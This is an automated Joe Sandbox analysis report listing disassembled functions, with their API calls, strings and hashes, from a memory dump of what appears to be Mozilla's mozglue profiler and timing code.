Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 21d0f1a63acaedebc04ab5e9f45aef98d2128b9f99767e59f216c5580922c45f
Instruction ID: 511f2198b57ecc197531f2878942ba2cda555d02aaf85cc5a32e1c16d15aa544
Opcode Fuzzy Hash: 21d0f1a63acaedebc04ab5e9f45aef98d2128b9f99767e59f216c5580922c45f
Instruction Fuzzy Hash: 2461CFB0A0A346AFEF049F69DC09B957BB8EB4730CF18C55CE5449BA41D77099C6CBA0

Function 6CA4F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA4F8F9

Part of subcall function 6CA16390: GetCurrentThreadId.KERNEL32 ref: 6CA163D0
Part of subcall function 6CA16390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA163DF
Part of subcall function 6CA16390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA1640E

ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4F93A
GetCurrentThreadId.KERNEL32 ref: 6CA4F98A
GetCurrentThreadId.KERNEL32 ref: 6CA4F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4F716

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

Part of subcall function 6CA0B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA0B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA4F739
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4F746
GetCurrentThreadId.KERNEL32 ref: 6CA4F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA8385B,00000002,?,?,?,?,?), ref: 6CA4F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA4F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA4F866
free.MOZGLUE(?), ref: 6CA4FA0C

Part of subcall function 6CA15E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA155E1), ref: 6CA15E8C
Part of subcall function 6CA15E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA15E9D
Part of subcall function 6CA15E60: GetCurrentThreadId.KERNEL32 ref: 6CA15EAB
Part of subcall function 6CA15E60: GetCurrentThreadId.KERNEL32 ref: 6CA15EB8
Part of subcall function 6CA15E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA15ECF
Part of subcall function 6CA15E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA15F27
Part of subcall function 6CA15E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA15F47
Part of subcall function 6CA15E60: GetCurrentProcess.KERNEL32 ref: 6CA15F53
Part of subcall function 6CA15E60: GetCurrentThread.KERNEL32 ref: 6CA15F5C
Part of subcall function 6CA15E60: GetCurrentProcess.KERNEL32 ref: 6CA15F66
Part of subcall function 6CA15E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA15F7E

free.MOZGLUE(?), ref: 6CA4F9C5
free.MOZGLUE(?), ref: 6CA4F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CA4F71F
" attempted to re-register as ", xrefs: 6CA4F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA4F9A6
Thread , xrefs: 6CA4F789

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 986fe13a7501f8287aee2d2bd60990f07ae9a4963f8f7ca8fb6b186e8724bd17
Instruction ID: 4e49ac6cde94d71e421918c08ea580cf6eef95a3d08e4f18c354c80c5133acb0
Opcode Fuzzy Hash: 986fe13a7501f8287aee2d2bd60990f07ae9a4963f8f7ca8fb6b186e8724bd17
Instruction Fuzzy Hash: 32812571A053019FD710DF64DD40AAAB7B5FF85308F44856DE8499BB51EB30E88DCBA2

Function 6CA15E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA15E9D

Part of subcall function 6CA25B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA256EE,?,00000001), ref: 6CA25B85
Part of subcall function 6CA25B50: EnterCriticalSection.KERNEL32(6CA8F688,?,?,?,6CA256EE,?,00000001), ref: 6CA25B90
Part of subcall function 6CA25B50: LeaveCriticalSection.KERNEL32(6CA8F688,?,?,?,6CA256EE,?,00000001), ref: 6CA25BD8
Part of subcall function 6CA25B50: GetTickCount64.KERNEL32 ref: 6CA25BE4

GetCurrentThreadId.KERNEL32 ref: 6CA15EAB
GetCurrentThreadId.KERNEL32 ref: 6CA15EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA15ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA16017

Part of subcall function 6CA04310: moz_xmalloc.MOZGLUE(00000010,?,6CA042D2), ref: 6CA0436A
Part of subcall function 6CA04310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA042D2), ref: 6CA04387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA15F47
GetCurrentProcess.KERNEL32 ref: 6CA15F53
GetCurrentThread.KERNEL32 ref: 6CA15F5C
GetCurrentProcess.KERNEL32 ref: 6CA15F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA15F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA15F27

Part of subcall function 6CA1CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA1CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA155E1), ref: 6CA15E8C

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA155E1), ref: 6CA1605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA155E1), ref: 6CA160CC

Strings

GeckoMain, xrefs: 6CA15ECE, 6CA16015

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 61d56e21c326b72795139e9dc9a8ff3b9451fb025950da588c6c6ef5efe63e2a
Instruction ID: a60237214d5a7a86e5d4b0b1bea2d8fbaf584d16f144d2c9107d5afb0edb9032
Opcode Fuzzy Hash: 61d56e21c326b72795139e9dc9a8ff3b9451fb025950da588c6c6ef5efe63e2a
Instruction Fuzzy Hash: 9571F4B0A097418FD704DF28D580A6ABBF0FF46308F54896DE48687F52D730E989CB92

Function 6CA19590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA031C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA03217
Part of subcall function 6CA031C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA03236
Part of subcall function 6CA031C0: FreeLibrary.KERNEL32 ref: 6CA0324B
Part of subcall function 6CA031C0: __Init_thread_footer.LIBCMT ref: 6CA03260
Part of subcall function 6CA031C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA0327F
Part of subcall function 6CA031C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA0328E
Part of subcall function 6CA031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA032AB
Part of subcall function 6CA031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA032D1
Part of subcall function 6CA031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA032E5
Part of subcall function 6CA031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA032F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA19675
__Init_thread_footer.LIBCMT ref: 6CA19697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA19707
__Init_thread_footer.LIBCMT ref: 6CA1971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA19773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA197B7
FreeLibrary.KERNEL32 ref: 6CA197D0
FreeLibrary.KERNEL32 ref: 6CA197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA19824

Strings

NtMapViewOfSection, xrefs: 6CA19701
ntdll.dll, xrefs: 6CA196E3
MapViewOfFileNuma2, xrefs: 6CA197B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA19670

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 6cbc3750525c3ece7361d9eddbc9df453a052673d676f8d832c6f3f912a33758
Instruction ID: b87ffd40f3379ab57c515cb171ce212482b2425b779bf50e44f0371a4c163056
Opcode Fuzzy Hash: 6cbc3750525c3ece7361d9eddbc9df453a052673d676f8d832c6f3f912a33758
Instruction Fuzzy Hash: 9261D3716063039FEF049F74ED84A9A7BB5FB4B314F148628E95597B80E73098C9CBA1

Function 6CA66660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CA8F618), ref: 6CA66694
GetThreadId.KERNEL32(?), ref: 6CA666B1
GetCurrentThreadId.KERNEL32 ref: 6CA666B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CA666E1
EnterCriticalSection.KERNEL32(6CA8F618), ref: 6CA66734
GetCurrentProcess.KERNEL32 ref: 6CA6673A
LeaveCriticalSection.KERNEL32(6CA8F618), ref: 6CA6676C
GetCurrentThread.KERNEL32 ref: 6CA667FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CA66868
RtlCaptureContext.NTDLL ref: 6CA6687F

Strings

WalkStack64, xrefs: 6CA66890

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: aca0b0f3606fa5603d7a125159cf399dbb6cb92655cfc07bcf469296c626205b
Instruction ID: 4a86ae8dba327e29924ee997dc8a3f437cab148847002796eda4d673eba0fd57
Opcode Fuzzy Hash: aca0b0f3606fa5603d7a125159cf399dbb6cb92655cfc07bcf469296c626205b
Instruction Fuzzy Hash: 2F51CF71A0A302AFDB15CF25C84479ABBF4FF8A714F04892DF59897B40D770A549CB92

Function 6CA4DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4DE73
GetCurrentThreadId.KERNEL32 ref: 6CA4DF7D
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4DF8A
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA4DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA14A68), ref: 6CA4DE7B

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

Part of subcall function 6CA3CBE8: GetCurrentProcess.KERNEL32(?,6CA031A7), ref: 6CA3CBF1
Part of subcall function 6CA3CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA031A7), ref: 6CA3CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA14A68), ref: 6CA4DEB8
free.MOZGLUE(00000000,?,6CA14A68), ref: 6CA4DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA4DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA4E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CA4DE83
<none>, xrefs: 6CA4DFD7

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: ee287b4c215139f96fb04d90b5e844391ebabdedbe5cadd3e41751035bc56211
Instruction ID: c1918621b025e68fb8c72a8edcef33bc2500b56c7f80b45726cc6ad4f240de82
Opcode Fuzzy Hash: ee287b4c215139f96fb04d90b5e844391ebabdedbe5cadd3e41751035bc56211
Instruction Fuzzy Hash: D041F635B036129FDB24AF68DD087AA7B75FB4230CF54C11AE90997B01C731989ACBE1

Function 6CA5D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA5D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA5D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5D52A
GetCurrentThreadId.KERNEL32 ref: 6CA5D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA5D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5D55F
free.MOZGLUE(00000000), ref: 6CA5D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA5D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA5D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA5D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5D652
GetCurrentThreadId.KERNEL32 ref: 6CA5D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA5D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5D6A2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b84cf0ae03b60b2feda2c2f905ae2ce81349670c614bd9e709fd46243e7b14b7
Instruction ID: ba5ea7bc21eceb95083af5fbb1e963f05b3d6611a7703f8c09e6e79e938fcbc6
Opcode Fuzzy Hash: b84cf0ae03b60b2feda2c2f905ae2ce81349670c614bd9e709fd46243e7b14b7
Instruction Fuzzy Hash: B7519175A05705EFC704DF34D984A9ABBF4FF8A318F40862DE85A87711DB30A499CB91

Function 6CA25670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA256D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA256E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA256F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA25744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA257BC
GetTickCount64.KERNEL32 ref: 6CA258CB
EnterCriticalSection.KERNEL32(6CA8F688), ref: 6CA258F3
__aulldiv.LIBCMT ref: 6CA25945
LeaveCriticalSection.KERNEL32(6CA8F688), ref: 6CA259B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CA8F638,?,?,?,?), ref: 6CA259E9

Strings

MOZ_APP_RESTART, xrefs: 6CA256CC

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 58fcaa6e10a06de3c8d1e725912cd31c83344590aa6010049499561afc1d73ec
Instruction ID: 19da4a75900dbe399ea657f0eff07352582fd542f59c37ff0fbd3ecd051cea36
Opcode Fuzzy Hash: 58fcaa6e10a06de3c8d1e725912cd31c83344590aa6010049499561afc1d73ec
Instruction Fuzzy Hash: 19C18131A097929FD709CF28C44066AB7F1BFDA714F19CB1DE4C497664D7349886CB82

Function 6CA4EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4EC8C

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

GetCurrentThreadId.KERNEL32 ref: 6CA4ECA1
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA4ECC5
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA4ED19
CloseHandle.KERNEL32(?), ref: 6CA4ED28
free.MOZGLUE(00000000), ref: 6CA4ED2F
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA4EC94

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 871f0a11ec7d2741ddfb1e164f9b3dece68a2787a8e2d98ce365c721e74ffcdf
Instruction ID: 34d81584bc59a22916f20b3bfac18bf2f0cfc7e55c360af064dd8ac1a713b3ad
Opcode Fuzzy Hash: 871f0a11ec7d2741ddfb1e164f9b3dece68a2787a8e2d98ce365c721e74ffcdf
Instruction Fuzzy Hash: 7121F375602206AFDB049F64ED04B9ABB39FB4726CF14C215FC1887741DB31988A8BB1

Function 6CA48ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA0EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA4B392,?,?,00000001), ref: 6CA491F4

Part of subcall function 6CA3CBE8: GetCurrentProcess.KERNEL32(?,6CA031A7), ref: 6CA3CBF1
Part of subcall function 6CA3CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA031A7), ref: 6CA3CBFA

Strings

marker-chart, xrefs: 6CA4905E
timeline-memory, xrefs: 6CA49088
data, xrefs: 6CA490E8
timeline-overview, xrefs: 6CA4907A
name, xrefs: 6CA48F16
timeline-fileio, xrefs: 6CA490A4
marker-table, xrefs: 6CA4906C
timeline-ipc, xrefs: 6CA49096
stack-chart, xrefs: 6CA490B2

Memory Dump Source

